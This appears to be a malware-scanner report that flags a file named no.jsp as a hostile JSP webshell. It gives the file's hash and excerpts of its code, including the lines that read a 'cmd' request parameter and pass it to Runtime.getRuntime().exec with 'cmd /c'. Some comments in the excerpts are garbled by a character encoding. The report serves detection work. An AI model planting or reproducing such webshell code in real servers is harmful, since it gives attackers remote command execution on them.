Hostile ^92% Download

no.jsp

JSP webshell executes commands

JSP runs the cmd request parameterWeb Shell

SHA-25674a40d1f616e3843e5b5c6e4c26b6d1afe387ae4cf7e9778f476ed483587a09a

Evidence

JSP page import directive lines 5–16

⋯4 lines
9*/
10%>
11<%@ page contentType="text/html;charset=gb2312"%>
12<%@page import="java.io.*,java.util.*,java.net.*" %>
13<%!
14private final static int languageNo=0; //���԰汾��0 : ���ģ� 1��Ӣ��
15String strThisFile="JFolder.jsp";
16String[] authorInfo={" <font color=red> д�Ĳ��ã����� …

Web Shell lines 94–109

⋯4 lines
98
99		public String getTimeElapsed() {
100			long time = (System.currentTimeMillis() - starttime) / 1000l;
101			if (time - 60l >= 0){
102				if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
⋯7 lines

JSP reads cmd request parameter lines 392–412

392:36… + " " + strUnit;
393	strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
394	if(strAfterComma=="") strAfterComma=".0";
395	return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
396}
397%>
398<%
399request.setCharacterEncoding("gb2312");
400String tabID = request.getParameter("tabID");
401String strDir = request.getParameter("path");
402String strAction = request.getParameter("action");
403String strFile = request.getParameter("file");
404String strPath = strDir + "\\" + strFile; 
405String strCmd = request.getParameter("cmd");
406StringBuffer sbEdit=new StringBuffer("");
407StringBuffer sbDown=new StringBuffer("");
⋯5 lines

Java getRuntime call reference lines 946–970

⋯9 lines
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
⋯11 lines

Web Shell lines 979–995

⋯4 lines
983{
984%>
985&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
986<br>&nbsp;
987<%
⋯8 lines